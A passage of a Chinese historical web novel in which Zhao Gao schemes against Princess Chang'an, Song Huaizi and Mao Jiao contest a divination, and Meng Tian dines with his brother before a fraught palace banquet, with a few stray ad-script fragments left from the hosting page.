胡亥知道赵高是在故作姿态,就连群臣宗室之中有人行谋逆大罪这样的事他都敢在自己面前揭发,还有什么是不敢讲的。 他轻笑一声道,“还是何事是赵君不敢在朕面前讲的吗?” “陛下还记得岁首夜宴那晚臣秘奏公子将闾和公子毋伤在御园密谋不臣一事吗?” “怎么?此事还有隐情不成?”胡亥一边说着一边持剑走上丹陛。 “其实第一个知道此事的并不是臣,但是此人却在陛下面前将如此大罪按下不表。” 胡亥斜倚在皇位上,手中却仍然按着腰间的太阿剑,“哦?在这宫中竟然有人能比赵君的消息还要灵通,嗯?” 那个“嗯”字意味深长,赵高微微抬眸,却发现胡亥面上正一脸玩味地看着他,这样的笑容让赵高有些心惊,似乎有什么东西正在悄然脱离他的掌控。 他咽了口唾沫,依旧决定头铁地抓住这个能将政敌置之死地的机会。 “是长安公主。岁首之宴后夜游御园的可不止公子将闾兄弟二人,还有长安公主及内史蒙恬。公子毋伤和其胞兄密谋不臣之事被蛇咬伤后,长安公主和蒙恬也携了断蛇上殿请求彻查此事,怎么会这么凑巧两人同一晚上都在御园遇蛇呢?” 赵高紧接着道,“长安公主一定是在御园听到了公子毋伤兄弟二人不臣的密谋。可是在请求陛下彻查御园现蛇一事时,却未向陛下检举此事。公子毋伤兄弟二人其心可诛,长安公主的包庇之举亦不能轻纵。” 胡亥有些烦躁地点着自己的额角,“赵君为何非要纠着朕的王姊不放呢?” “陛下,臣并非挟私报复长安公主。凡臣所言,皆是为陛下考虑啊。臣知陛下爱重长安公主,可长安公主之心却朝秦暮楚,对陛下的忠诚和支持并非一心一意。” “赵君何须如此挑拨离间。早在沙丘行宫之时,王姊已向朕俯首称臣表明忠心。” “若无上崩于外的巧合,陛下真的觉得自己会是长安公主忠心的首选而不是和丞相一样退而求其次的无奈之举吗?” 赵高这句话又完美戳中了胡亥心中隐秘的痛处。 “够了!” “公子毋伤兄弟有不臣大罪,秦法无情,长安公主亦当连坐。万望陛下毋要迟疑,否则,对敌人的仁慈就是对自己的残忍。” 胡亥凌厉的丹凤眸愈发深沉,“长安公主毕竟是朕少小相伴的王姊,朕还是愿意给她一个‘自证清白’的机会。” 18. 不老之泉 新任郎中令赵高的府邸之内,今夜亦是个不眠之夜,不过与二世孤身一人的惶惶然不同,赵氏兄弟的狂欢才刚刚开始。 “大兄,我不明白,您既然敢冒天下之大不韪扶持今上即位,为何又要散播今上得位不正的流言呢?” 赵高放下手中御赐的旨酒,斜靠在榻上瞥了一眼在下方极尽谄媚的胞弟赵成。 “这流言岂是我们散播的?空穴不来风,我们只不过是推波助澜,让陛下警钟长鸣而已。再说了,若陛下皇位稳固,又哪里有我们这些新贵的用武之地。” 如今赵氏一族全靠这个大兄提携,赵成的脸几乎笑成了一朵花,十分知趣地给赵高再添了一卮旨酒,拙劣地逢迎道。 “还是阿兄有远见卓识。只是可惜了,先帝所立之大臣皆天下累世名贵人,积累功劳日久,有他们在,我们这些新贵恐怕永无出头之日。” 赵高的唇角勾出一抹阴毒的弧度,“那就一步一步除掉这些累世公卿,让他们给我们腾位置。” 赵成有些迟疑,“可是大兄也说了,他们都是累世公卿,而我们只是新贵,如何能扳倒这些天之骄子呢。” “致人于死地,莫过于构陷其谋反。” 短短一句话,竟比凛冬之夜还要寒凉。 赵成被震慑住了,有些愣愣地道,“大兄是说那些长篇累牍的不臣知罪和名单都是构陷?那……那陛下真的回信吗?” 赵高狞笑着点了点赵成,“谋反这种事情对人主来说就是逆鳞。宁可错杀,不可放过。在这件事情上,陛下除了我这个‘全心全意’忠心为主的老师,还能信任谁呢?借着陛下的宠信,莫说累世公卿,就是天之骄子还不是任我这个卑贱之人鱼肉。” 赵高的狞笑也让昆弟赵成有些发怵,阿兄的胆量最近越来越大了,看来是御酒的缘故。 从前阿兄饮用家中酿造的春酒误事,差点被蒙毅按律治死,如今饮用了御赐的旨酒,竟然胆大如此,他得机会也要尝一尝这御赐的旨酒。 “那长安公主和我们一样是扶持陛下即位的,大兄为何将她视作眼中钉非要除去呢?” “其实长安公主早该死了。” 听到大兄没头没脑地说了这么一句话,赵成只以为他是恨极了长安公主才有此诅咒之言,忙不迭地连连附和,“没错,没错,得罪了大兄的人都该死。” 赵高却是哈哈大笑,像对待狗一样摸了摸弟弟的头,他这个弟弟只顾着像狗一样拙劣逢迎,哪里知道他的深意呢。 他曾在癫狂阴鸷的梦中窥见过长安公主的命运。 长安公主是早该死了,早该死在那个幽冷晦暗的沙丘行宫。 可惜啊,天命亦有变数。 “若非她在沙丘行宫聪明地审时度势,及时抓住机遇向陛下称臣表忠,你以为陛下会容忍她活到现在吗?” 赵高捏住漆卮的柄晃了晃里面的御酒,“可惜啊,她不懂得在诸子夺权中最忌朝秦暮楚,被所谓的手足之情绊住了脚,难以硬下心肠来一条道走到黑,不然岂会被我抓住了把柄?所谓妇人之仁,难成大器啊。” 说罢,他摇了摇头,露出一抹志在必得的笑意。既然长安公主非要不知好歹地将他视作眼中钉肉中刺,那么她非死不可。 天定胜人,人定亦胜天。天命再如何变动,他赵高终究还是推动天命回到既定的终点。 ————————————— “没想到你这个从不饮酒的人还能请我这个嗜酒如命的人来这善水居品鉴新酒。” 宋怀子替积年的好友满上一舟(铜舟,东周时常见的盛酒器,大小若酒杯),“我们两个都是客居秦国数十年的异乡人,岁首十五阖家团圆,也只有我们两个老家伙凑活在一起饮酒相伴了。” 茅焦瞅了瞅舟中美酒,并没有着急饮用,而是揣着手道,“冬日宜饮黄酒,暖人心肺,怎么今年善水居新出的佳酿却是清酒。清酒夏日饮用沁人心肺,冬日却是寒彻心扉啊。” 宋怀子哈哈一笑,解释道,“老兄有所不知,此酒名为不老泉。酿酒之水取自蓟县玉泉山上的一眼玉泉。兹山之泉,水清而碧,澄洁似玉,鸣若杂佩,色如素练,逶迤曲折,蜿蜿然若玉泉垂虹,故曰玉泉,其山也名玉泉山。” “善水居的执事们遍寻天下泉水,用银斗称量,发现此泉水每斗仅重一两,为最轻,说明水质最清最佳。更神的是,其泉水冷冽甘甜,冬日温润宜人,恰似玉泉生春,因此冬日饮用并不会‘寒彻心扉’,反而比黄酒的暖人心肺更胜一筹。” 闻言茅焦才从袖中伸出手去品鉴宋怀子“吹嘘”的美酒不老泉,饮罢,果真如宋怀子所言,饮之遍体升温,周身通畅,更兼一股木质甜香,香气延绵悠长,令人回味无穷。 茅焦不由道,“此酒独有一股木质幽香,却是为何?” “玉泉山上遍生松柏,松柏上的白雪化入玉泉之中,使得泉水自带一股松柏的木质清香。松柏千年不衰,四季常青,松针浸泡过的玉泉水冬日饮用有益肺舒心的效,而柏叶浸泡过的酒有辟邪的效用,所谓延年益寿,不老之泉,便是如此吧。” 宋怀子又替茅焦倒了一舟,“若非我和善水居的主人有旧,哪里能在今日邀茅君抢先品鉴呢。” 茅焦倒也不推辞,又将舟中美酒一饮而尽,“可惜啊,如此美酒,宋子却无福消受。” 这是在说宋怀子从不饮酒的怪癖。 宋子却是微微一笑,“你也知道,我有宿疾,不良于行久矣。若是再饮酒,怕是一辈子也别想下地行走了。不过,我虽不饮酒,却也不是无福消受这玉泉之水。” 说着,他挥了挥手,自有旁边侍奉的学僮自漆案旁的红泥小火炉上舀了一勺咕嘟咕嘟地沸腾的清水倒入一紫砂树瘿壶中。 沸腾的水刚入壶中,便氤氲出一股如梦似幻的雾气,其间清香四溢,自胜酒香。 茅焦知道这是宋怀子惯饮的“茶水”,此人怪哉,常人只以茶入药,他却是泡来当水喝。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不过,他却是注意到了宋怀子身边常跟着侍奉的学僮换了人,“怎么不见天志?” 宋怀子啜饮了一口茶,放下漆卮道,“我派他去远方办点事,恐一时半会儿回不来。供春亦是自小随侍的学僮,虽不大善言辞,却即为心灵手巧,斫木为模、削竹为刀,善制各种奇器怪物,我只稍稍一提,他便制作了这专门用来泡茶的紫砂树瘿壶。” 宋怀子稍稍一夸,学僮供春便不好意思地低下了头。 茅焦感慨道,“你身边竟是些奇人异士,哪里像我,孤木难支啊。” “茅君这是遇到麻烦了。” 茅焦顺势将二世皇帝问梦于他的事情娓娓道来。 “茅君这番虚虚实实之辞恐怕不是陛下想听到的。陛下可相信了?” 想起二世皇帝那晚几乎要压抑不住的阴鸷暴虐,茅焦虽当时气气定神闲,却是强撑着的,此时此刻忍不住有些后怕,“陛下不置可否。要我说,真正当得起‘究览道奥,穷测微言’这八个字的当属宋子。可惜,自元后薨逝,你便逐渐避世于渭阳学宫不再出仕,不然,这太史令一职哪里轮得到我这个客卿来当。” 叹了口气,茅焦又道,“我们当年都是由元后引荐给先帝的,可惜元后早薨,先帝已崩,如今新旧更替,天将大变,此地不宜久留。” “茅君是想乞骸骨(年龄到了辞官致仕)了?” “鸟飞返故乡兮,狐死必首丘。离齐久矣,我也想家了。老兄,不若和我一起归齐呀?你难道不想念当初在稷下的同年时光吗?” 这句话说得半真半假,倒是叫人很伤情。 宋子却是打趣道,“齐地有你这样装神弄鬼的能人,一个也就够了。” 只是如宋怀子这般,宋国早亡,他白白担了一个落魄公室的名号,却哪里还有家与国?至于同年,他在稷下的同年早已埋在凤栖原下尘泥销骨,他也早没了同年。 漂泊数年,何枝可依? 借着饮茶的功夫,宋子道,“而且,你知道的,我不能离开渭阳学宫。” “你呀你,她都已经去了多年,你干嘛还要死守着渭阳学宫呢?元后亲手打造的这个名为渭阳学宫的笼子,可算是把你这个北冥之鲲给困住喽。” 宋怀子放下漆卮,只是笑了笑,要说这渭阳学宫的组建也有他的一份功劳,若它真是所囚笼,那他也算是作茧自缚了。 茅焦无可奈何地摇了摇头,道家虽讲究“大隐隐于朝,小隐隐于野”。然身处最勾心斗角的秦廷,又岂能分毫不沾染尘俗。眼前之人维持着一副方外之人的做派避世于渭阳学宫,若果真方外之人,又岂能数十年如一日地待在与秦国官方勾连最深的渭阳学宫。 虽隐居幕后,史书无载,但大秦帝国走到如今这一步,每一步都不乏眼前人的参与。 这样感慨着,殊不知宋怀子已经挖好了坑等着他。 “致仕归隐,也不是不可以。只是,元后的引荐之恩,茅君竟不打算报答了吗?” 19. 吉或不吉 茅焦在心中腹诽,元后都没有挟恩图报,你这个外人算怎么回事。 他就知道宋怀子这个老匹夫请他喝酒准没好事,果然是挖好了坑等着他呢。 宋怀子又啜饮了一口热茶,清了清嗓子,言辞却不免软和了下来,“鉴于我师妹已经不在,我这个师兄不免操心了些,替她向女儿讨个引荐之恩的报答。” 茅焦也不看他,自斟自酌将一樽美酒一饮而尽,“别拐弯抹角了,说吧,我这把老骨头还能为元后留下的这点骨血做些什么呢?” 宋怀子自袖中掏出一物放在案上。 茅焦定睛一看,赫然是一块卜甲。 这是把看家的老本行都拿出来了。 宋怀子是宋国公室,正宗殷商后裔。而商人最善用甲骨占卜,通过甲骨上烧灼的兆纹来预测吉凶。甲指龟甲,骨通常指整治好的牛肩胛骨,亦有用羊、猪、虎和人骨来占卜的。合称甲骨,商人认为此二者能通神。 龟甲上已具前辞(或称叙辞)、命辞(或称贞释)和卜辞(或称占释),唯独缺少验证占卜结果的验辞。 二世元年十月甲戌卜,殷商第五十三代苗裔孙宋怀子贞(占卜): 长安公主今岁有咎否? 宋怀子占曰,十月,大凶。置之死地而后生。 茅焦扯过一边宋怀子给自己造的“老花镜”仔细验对龟甲上的兆线,但见兆身弯弯曲曲,兆首和兆足消失,中间和外围的兆线不相对应,确为大凶之兆。 茅焦放下老花镜,却嚷嚷着,“哎呀呀,你这个不准。” 心道谁知道宋怀这个老家伙在钻凿的时候有没有作弊来忽悠他。 要知道,殷商时期的贞人已经能根据想要的占卜结果提前在龟甲上选择“合适的地方”钻凿,以便于烧灼出合乎预想结果的兆纹,这是一种作弊能力。 宋怀子这个继承了几千年先人经验的老狐狸,作弊手法只会更加成熟。 宋怀子对着茅焦做了一个“请”的动作,“那么,也请茅君也大显神通吧。” 茅焦虽不会用甲骨占卜,可是作为来自齐燕之地的博士,又侍奉过沉迷求仙问药的始皇帝,术士那套蓍草占卜之法他还是会两下子的。 他当下就从袖中掏出一把蓍草开始卜算。 宋怀子吹了吹茶中的热气,笑着摇了摇头,对茅焦随身携带占卜的蓍草毫不意外,谁让眼前之人还没卸任占星观象的太史令一职。 这时候的人虽不如殷商时期的人迷信,但对于蓍草占卜之法并不陌生,流传于后世中的《系辞》对于蓍草占卜的步骤仍有清晰详细的记录。 曰:“大衍之数五十,其用四十有九。分而为二以象两,挂一以象三,揲(shé)之以四以象四时,归奇于扐(lè)以象闰;五岁再闰,故再扐而后挂。” 果然见茅焦屏息凝神静气之后,从全部蓍草中取出一根,置于左手之上,以象太极,剩下四十九根的分成两拨,以象天、地,然后又从右手边那拨抽出一根,以为人才之象,然后开始了漫长的“揲之以四”的拨数蓍草过程…… 如此过程操作六遍之后,茅焦整个人都心平气和了许多。 看着漆案上用酒水记录的卦象,茅焦长舒一口气道,“这哪里算什么大凶之兆,这分明是比卦,水地比,坎上下坤,地上有水,有众星拱月之象,安逸进取之意,乃是吉卦。” 正准备品茶的宋怀子微微一笑,他也伸出手指,自樽中沾了点茶水在案上画出了另一个卦象,比之茅焦的卦象仅在第二爻和第四爻做了变动。 “茅君莫不是以为我方才没看到?你写的是变卦,你卜的却是困卦。泽水困,兑上坎下,水在泽下,万物不生,君子困穷,小人滥盈。这难道还能算作吉卦吗?” “我不管,变卦是吉卦也算吉。从筮,就按筮草说的算。” 宋怀子亦不退让,“筮短龟长,不如从长。按卜甲说的算。” 茅焦气急,一把推倒蓍草,踩碎龟甲,道,“枯骨死草,何知吉凶!宋怀子你个老匹夫休想再忽悠我。” “好哇,那就让我们拭目以待。” 宋怀子丝毫不慌,待供春给他换完漆卮后,他又小口啜饮了一口热茶,气定神闲道,“我跟你打个赌,倘若今日无事发生,那挟恩图报一事便就此作罢。你辞官归隐也好,继续做你的太史令也好,我再不干预。倘若今日便发生祸事,应验了那泽水困卦,你就必须做那个水地比卦中那个扭转乾坤的贵人贤才,如何?” 茅焦扭过脸去轻哼一声,他还真就不信宋怀子真有窥测天机的本是,“等等就等等。” —————— 善水居□□内,蒙恬亦应邀前来善水居赴大兄孟嘉之约。 “金樽清酒,此樽先敬毅弟。” 孟嘉说着,对着窗外的满月清辉以酒浇地。 此举名为“酹(音同肋)酒”,以酒浇地,表示祭奠。 孟嘉此举是在凭吊三个月前在代地被赐死的上卿蒙毅。 蒙恬却跽坐于案前,并没有跟着大兄孟嘉祭奠。 酹(音同肋)酒是用来凭吊死去的亲人,可是——毅弟未必已经死了。 他想到那日前去渭阳学宫拜访宋怀子时听到宋怀子和长安公主那些似是而非的争端。 ——“注定你救得了别人的手足,却救不了自己的手足。” ——“宋子,代地之事出于你口,入于你耳。但凡我从别处听到,我都不会承认此事和我有任何干系。” 宋怀子是有意让他听到这些话中,此中定有内情。 可是,在事情没有尘埃落定前,他不想给大兄一个无谓的希望。而且,此事越少人知道毅弟的命就越保险。 因此,他并没有拦着孟嘉用酒凭吊“死去”的毅弟,只是站在孟嘉身后,跟他一同遥望天上的一轮满月。 月出皎兮,共此时兮。或许他们兄弟三人此刻正遥望同一轮皓月。 凭吊完之后,孟嘉拉着蒙恬回到席位上,看着特意空出来的席位,不由得叹息道,“这些年我们兄弟几人总是各自奔波于他乡异县,如今十月十五,阖家团圆,你我二人,难得相聚一堂把酒言欢。为兄敬你一杯,愿我们兄弟年年有今日,岁岁有今朝。” 蒙恬也直 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起身,同孟嘉互相敬酒致意。 二人放下酒樽后,孟嘉又伤感道,“只是可惜这金樽清酒,独缺一人。天涯路远,阴阳两隔,我们兄弟再也聚不齐了。” 眼见话题有些伤感,蒙恬转而品鉴起酒来,“如此清酒,除了暖人心肺之外,竟然还别有一番松柏的清香。” “此酒名为不老泉,是在宋怀子的提议下特意北上蓟县寻找了一眼夏凉冬暖的玉泉水酿造的。玉泉水所在的玉泉山上遍布松柏,不知生了多少年岁,竟将玉泉水也浸染上了一股自然的木质清香。松柏千年不衰,四季常青,故而宋怀子提名‘不老泉’,不过是个宣扬新酒的噱头。” “若先帝在,恐怕会爱极了这酒。可惜啊,这酒出的太晚了些。” “若先帝在,毅弟也不会沦落到客死异乡的地步了。” “秦廷会审之后,我去看过弟妇和侄儿们,才知大兄一直多有照看,甚至为毅弟建造了衣冠冢,好让让在世的亲友能时时祭拜。” 孟嘉又痛饮了一樽酒道,伏在案上垂首道,“毅弟可怜,客死异乡不说,就连尸骨也只是被草草埋葬在代地,无法落叶归根。建一个衣冠冢也好,毅弟的魂魄就能在故土有所依附了。你和毅弟被困在阳周和代地的时候,我这个大兄什么忙也帮不上,能做的也只有这些了。” 蒙恬知道,荆轲刺秦一事之后,大兄孟嘉再无出仕的可能。虽然他后来入赘乌氏戎商之后,在经商一事上颇有成就,但是无法出仕却成了他终身的憾事。 “大兄虽然没说,但想也知道,当我和毅弟被困在阳周和代地求助无门的时候,一定是大兄替我们四处奔走呼号,又替毅弟建了衣冠冢,使得他的魂魄在故乡有所依附。青山埋骨,松柏葬魂,毅弟若泉下有之,一定也会如此感慨。棠棣之华,鄂不韡韡。凡今之人,莫如兄弟。死丧之威,兄弟孔怀。原隰裒矣,兄弟求矣。脊令在原,兄弟急难。” 说着孟嘉起身走到大兄身边,拍了拍孟嘉的肩膀道,又亲自给他斟了一樽酒,“我们兄弟之间只有勠力同心,不讲这些,来,我再敬大兄一樽。” 孟嘉抬起头,脸上已是不自觉挂了两行清泪,他握着蒙恬的手,接过了那樽酒一饮而尽,“有兄弟如此,夫复何求。” 蒙恬亦执铜樽痛饮一大樽,十五的月亮十六圆,蒙恬相信他们兄弟三人终有再见的一天。 待两人的情绪都有些缓和后,蒙恬不免闲聊起别的事来转移关于蒙毅的伤感言辞。 “大嫂这时候远行,是去巡视乌氏戎的产业了吗?” 孟嘉闻言脸上浮起了一抹笑意,“哦,那倒不是。她是去接阿舒了。阿舒这孩子你也知道,既无志于仕途经济,也无意于买卖商假,整日里四处游历,偏偏喜爱些游侠私剑之事。这次一去三个月没什么消息,就连岁首这样阖家团聚的日子都没有回来,你大嫂实在不放心,就亲自去外面接他了。” 蒙恬倒酒的手一顿,三个月,不怪他敏感,实在是太巧合了。 距离蒙毅在代地被赐死的时日也恰好三个月。 他状若无意地问道,“大兄可知阿舒是去哪了吗?” 20. 凶兆渐显 孟嘉不疑有他,执起铜樽道,“你也知道,阿舒非我亲生,只是我的假子(继子)。他对阿珠这个生母都少言寡语,更别提同我这个假父(继父)有多亲近了。” 喝了一口酒,孟嘉又想起了些什么,补充道,“只隐约听说他北上了。也难怪阿珠担心,燕地是他生父的故国,若是他真和那边联系上做些什么,怕是要出大乱子的。” 孟嘉语焉不详的事蒙恬亦有所耳闻,姬舒身份特殊,比之先帝早年悲惨身世还要不幸。他的生父又对秦国做出了那样的事,若非他的母族乌氏戎商对秦国有功,他们母子能不能在秦国活着都是个问题。 不过,从咸阳北上也不止去燕地一条路线,万一是去代地呢? 蒙恬又问道,“大兄方才说善水居新酒的名字和酿造的泉水都是宋怀子提议的?善水居竟然还和宋先生相熟?” 提及夫人乌氏珠,孟嘉脸上又浮现出笑意,“是阿珠她与宋先生相熟。你可听说过这善水居是如何起家的。” 蒙恬微微颔首,“略知一二。听闻是大嫂在洛邑(今洛阳)向东周君讨债时遇见两位道家弟子,大嫂以债务为由向两名道家弟子进入周室守藏室(周王朝国家图书馆)提供便利,而这两名道家弟子则还报大嫂酿酒的古方和名为‘善水居’的酒肆名字。” 略微想了一下,蒙恬接着道,“莫非宋先生就是这两名道家弟子之一?可我十年多前认识宋先生的时候,他已经墨家巨子了。” 孟嘉哈哈一笑,“是啊,宋先生可是个离经叛道的人呢。我听阿珠说过几句宋先生的事情。宋先生在稷下学宫受教时,师从的是道家不世出的隐士高人,后来游历到洛邑碰到阿珠时也还是个道家弟子,不知怎得,后来到了秦国,竟然阴差阳错地成了墨家巨子。” 说到最后,孟嘉也是百思不得其解。 蒙恬却是借着饮酒的功夫暗自思索着其中的关联,既然宋怀子和大嫂相熟,那么宋怀子是否安排了大嫂的长男姬舒去代地办事呢? “你在想什么?” 蒙恬回过神来,轻笑了一下道,“我在想宋先生可真是个奇人。” “谁说不是呢。明明从不饮酒,每每却能想出酿酒的奇方,是以他在这善水居也是有股份的,每年年末或年初都会来此查收分红。” “是吗?” “是啊,阿珠还在善水居常年为他保留了专门的雅室,名曰敦朴室。” “‘敦兮其若朴,旷兮其若谷’,其名出自《道德经》中第十五章,不愧是宋子。” 二人这厢在善水居□□内说这话,前堂敦朴室内的宋怀子却莫名其妙打了个喷嚏,引得老友茅焦笑话他,“你个老狐狸谋算那么多,怎么不先替自己算算此刻是谁在念着你呀?” 宋怀子摸了摸鼻子,“我还真知道是谁在念着我。” 茅焦追问道,“是谁?” 宋怀子却卖起了关子,执起漆樽道,“就不告诉你。” 茅焦撇了他一眼,放下漆樽,轻哼一声,“无趣。” 善水居□□内,孟嘉亦在放下了手中的铜樽,从袖中掏出了一叠羊皮纸递给蒙恬。 “这是什么?” 孟嘉笑道,“你看看不就知道了。” 蒙恬接过来一看,羊皮纸上竟是关中之外田宅园池的契书。 “大兄这是何意?” “这些良田美宅本是为父亲母亲购置的养老居所,如今父亲母亲用不着了,便送与你吧。” “大兄好意,我受之有愧。” “刚才你还说,咱们兄弟不论这些,现在又跟我客套了。我身为大兄,别的事情也帮扶不了你们什么,唯有钱财还算宽裕。你是蒙氏的宗子,将来娶妻成家,自然有用得着的时候。” “我……”,蒙恬素来从容持重的脸上难得出现了一丝裂缝,“我暂时还未考虑娶妻之事。” “你这说的是什么话,天底下哪有男子不娶妻生子的。你今年已经三十有四,再拖下去还要拖到什么时候,再过几年你这年纪都能当大父(爷爷)了,膝下却连个叫父亲的孩子都没有,像什么样子……” 大兄,别念了。就不能放过我吗。 蒙恬面无表情地听着大兄孟嘉像个老父亲一样对自己的婚事絮叨,手中的酒和孟嘉的絮叨一样一樽又一樽没有停过。 “我知道我们蒙氏门庭高贵,我的弟弟风神疏朗,端平正直,深受尊宠,位高权重,难免挑剔了些,心仪的妻子既要高贵又要貌美,品性还得温惠淑慎。不是大哥说你,高贵貌美的女子这咸阳城内还可挑一挑,温、惠、淑、慎这四个字都满足的完美女子那是天上也难寻啊。而且你要想想,你挑别人,别人也挑你,你现在的年纪……” 你现在的年纪和大龄鳏夫有什么区别。 孟嘉顿了顿,还是决定给弟弟一些面子,“你现在的年纪还有什么好挑的,越拖下去越难找到的完全合乎心意的。咱们又不是那没钱的穷苦人家,娶不起新妇才拖到现在……” 蒙恬忍到现在,忍到手中的铜樽都快要被他捏变形了,终于忍不住开口打断孟嘉,“我知道大兄担忧蒙氏无后。就算我终生没有子嗣,有毅弟留下的孩子也不会让蒙氏绝嗣的。” “你既不想听,我也就不说了。” 看着亲弟弟油盐不进的样子,孟嘉只能摇了摇头,他喝完一樽酒,却又爆出了一个比催婚还要让蒙恬坐立难安的消息。 “不过,明日有个女子想借着来善水居品酒的名义约你一见,我已经替你应下来了。” 蒙恬听了,果然从席上站了起来,“大兄,你怎么能就这么替我应下来了呢?” “长兄如父,我难道不能替你应下来吗?” 虽是这样说,孟嘉却有些心虚,且不说他因着赘婿的身份已经从蒙改姓孟,就是这个弟弟素来刚强自主的品性也让他有些心虚。 不过,这个女子的邀约他还真拒绝不了,在这件事情上,他只是个传话人。 他有意逗一逗这个小他十岁却比总是他还要显得老成持重的弟弟,“还是说,你已经有了心仪之人,准备即日成婚?” “我……” 蒙恬气闷,他能说什么?难道对大兄说梦里什么都有,新妇会有的,子嗣也会有的,他已经在梦中娶妻生子,只等着现世应验,让大兄不要太操心。 “总之,娶妻生子之事我心中有数。大兄还是不要太操心了。” “你说你,连天子之女都能拒绝,也不知什么样天仙才能合你心意。那明日之约你赴还是不赴?” 蒙恬喝了口闷酒,随口找了个托辞,“我连对方是谁都不知道,如何能去赴约。” “你若实在为难,拒绝倒也不是不可以,反正你也不是第一次拒绝人家了。” 蒙恬抬起头,却发现孟嘉正似笑非笑地看着他。 “明日约我的人莫非是——?” “长安公主。” —————— 长安公主接到二世皇帝突然置酒棠华宫的邀请很是奇怪。 不止她奇怪,收到邀请的诸位公子公主都觉得不可思议。 以往宫闱设酒筵,无论要宴请群臣,还是宴请宗室,都会提前通知。 棠华宫十月十五置酒宴请宗室诸子虽是先帝时的旧例,但二世即位之后并没有提前通知此事,此前公子将闾来拜访她时也曾说起过,今上初立,新政待兴,恐怕记不起来这棠华酒筵了。 而且今上为公子时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,除了自小一同被养在先帝膝下的长安公主,与其他兄姊都不亲近。 他们都以为今年不会有宴乐兄弟的棠华酒筵了。 公子将闾是在母亲赵夫人的檀宫①内收到棠华宫置酒的请书(请柬)的。他本来也以为今年十五团员之夜不会有宴乐兄弟的酒筵,所以特意入宫陪伴母亲和在母亲宫内养病的弟弟。 母亲赵夫人还是老样子,因生育有他们兄弟三人而逃脱了为先帝殉葬的命运,但是今上也不允许他将母亲接出宫奉养,理由虽依然是赵夫人为先帝后宫,出焉不宜。但未尝不是怀有将育有子嗣的先帝后宫嫔妃当作人质留在后宫以牵制先帝诸子的心思。 他叹了口气,少弟毋伤的病情不知为何急转直下,宫中太医明明说过毋伤脚踝上的蛇毒已拔,近日却突然高烧不退,甚至开始说起胡话来。 幸而是在母亲宫内,这些“胡话”不至于外传出去。 赵夫人看着公子将闾在殿内拿着请书来回踱步的样子,忧心道,“儿啊,若是实在为难,能不能不去赴宴了。” 将闾看着殿外天光已尽,昏昏沉沉中飘起鹅毛大雪的天气,叹了口气,“别人也就罢了,还可以拿雪天路滑作为借口不去赴宴。可我偏偏今日进宫拜见母亲,人就在宫内,不便不去。而且,传话的寺人特意说了,今上点名要母亲酿造的棠华酒宴请诸兄,我怎么可能逃脱得了呢。” 少弟毋伤病中的呻///吟声从内室传来,他垂眸叹气,他若是不去,恐怕毋伤的病也不会好起来了。 赵夫人待在宫内数十年,对于宫内的情形自有一种敏锐的嗅觉。 要她酿造的酒倒是不难,怕就怕此次赴宴要的是她儿子们的性命。 她突然想到了什么,提醒道,“你上次不是去了长安宫向长安公主打探夜游御园那夜的情形吗,那天你回来说长安公主还是顾念手足情谊的,不如叫上她一起赴宴,她自幼与今上交好,今上不至于连她也……” 公子将闾叹了口气道,“母亲,长安公主是个顾念手足之人。可是诸子之间她最亲近的还是皇位上的那个兄弟。她自小就是个聪明的人,从来不会触犯真龙天子的逆鳞。从前,她知道先帝厌恶别人提起身后之事,所以从在太子之争上多说一句话;如今,她知道今上忌惮我们这些兄弟,恐怕即便诸子相争,她也只会作壁上观。” 赵夫人有些慌乱,“那……那我们能怎么办呢?” “人的命……哪里能由得自己做主。” 像是为自己饯行一般,公子将闾饮了一卮母亲宫中的棠华酒才起身赴宴,走至门前,最后对着自己的母亲道。 “母亲,我走之后,一定封闭宫室,我怕……夜里有豺狼虎豹误闯进来。” 仿佛是预感到了什么,赵夫人慌乱着前去追赶自己的儿子,却终究没能走出那道宫门,眼看着自己的儿子消失在一片大雪茫茫之中…… —————— 棠华宫内,胡亥不无遗憾道。 “今日朕欲与兄姊齐聚一堂共叙手足之情,怎么有些人偏偏在此时告假不来了呢。” 长安公主嬴略在下首谏言道,“陛下,王兄高自岁首之宴后就染了风寒,已经几次三番请了太医前去府内看诊。恰巧我来时,碰见王兄府内的詹事丞又来宫内延请太医,故托我向陛下告假。” 没想到,一向对长安公主这个王姊和颜悦色的二世皇帝此时却态度冷淡,“下次有恙,让他亲自来朕面前告假。” 转而,他又摆起一副笑脸对着公子将闾道,“我听闻今年的棠华酒酿好之后,王兄竟是先送去了长安宫给长安公主品尝,等了这么久也不见给朕这个王弟送一些。莫非王兄只认长安公主做手足,不敬朕这个皇帝陛下做手足了?” 21. 血溅棠华 预料到二世皇帝会有兴师问罪这遭,公子将闾立刻离席请罪。 “陛下,臣有罪。实乃今年酿造的棠华酒有些酸涩,臣一个人拿不定主意,不敢献予陛下,所以请王妹一同来拿个主意。” 二世闻言果真将目光转移到嬴略神身上,“这么说来,王姊却是先于朕品尝过这棠华酒的滋味了。” 果然要被牵连了吗? 嬴略心中叹息一声,亦跟着起身请罪。 “陛下,王兄是怕献上不好的棠华酒,对陛下不敬。又以为臣与陛下少小相伴,或许口味也彼此相似,所以才先请臣品尝这棠华酒。” 二世斜倚在皇位上,似笑非笑道,“哦,那今年的棠华酒味道如何?” “臣以为果真酸涩。” 谁能想到,此时此刻嬴略心中的酸涩比棠华酒的酸涩更甚。 二世哈哈一笑,“那王姊可是后悔接受王兄送给你的棠华酒了。” 嬴略抬起头,二世这话说的意有所指。 她早该知道,即便她不出来检举公子毋伤的不臣之言,可宫中耳目众多,这话也迟早会传到二世的耳中。 甚至,她的装聋作哑也会被当作有心包庇。 她在袖中握紧了双手,如今这关算是难过了。 诸公子相争朝时秦暮楚是大忌,即便她实质上没有支持别的公子,对其他手足的善意也会被敏感多疑的二世猜忌为同党,若是再经过有心之人的挑拨…… 嬴略没有再想下去,看二世的表情,方才公子将闾的那番话无疑坐实了二世的猜忌。 不知是为了打圆场还是真实诚,下首一位年纪尚轻的公子道,“陛下,今日既是与诸位兄姊宴乐的棠华家宴,不如从家人之礼,陛下也下来与诸兄姊同乐,如何?” 此言一出,本就冷场的棠华宫宴更冷场了。 那位说话的公子见到诸位兄姊看向自己的目光都不对劲起来,仿佛是看将死之人的怜悯,突然意识到了什么,赶忙伏地请罪。 “陛下,臣有罪。” 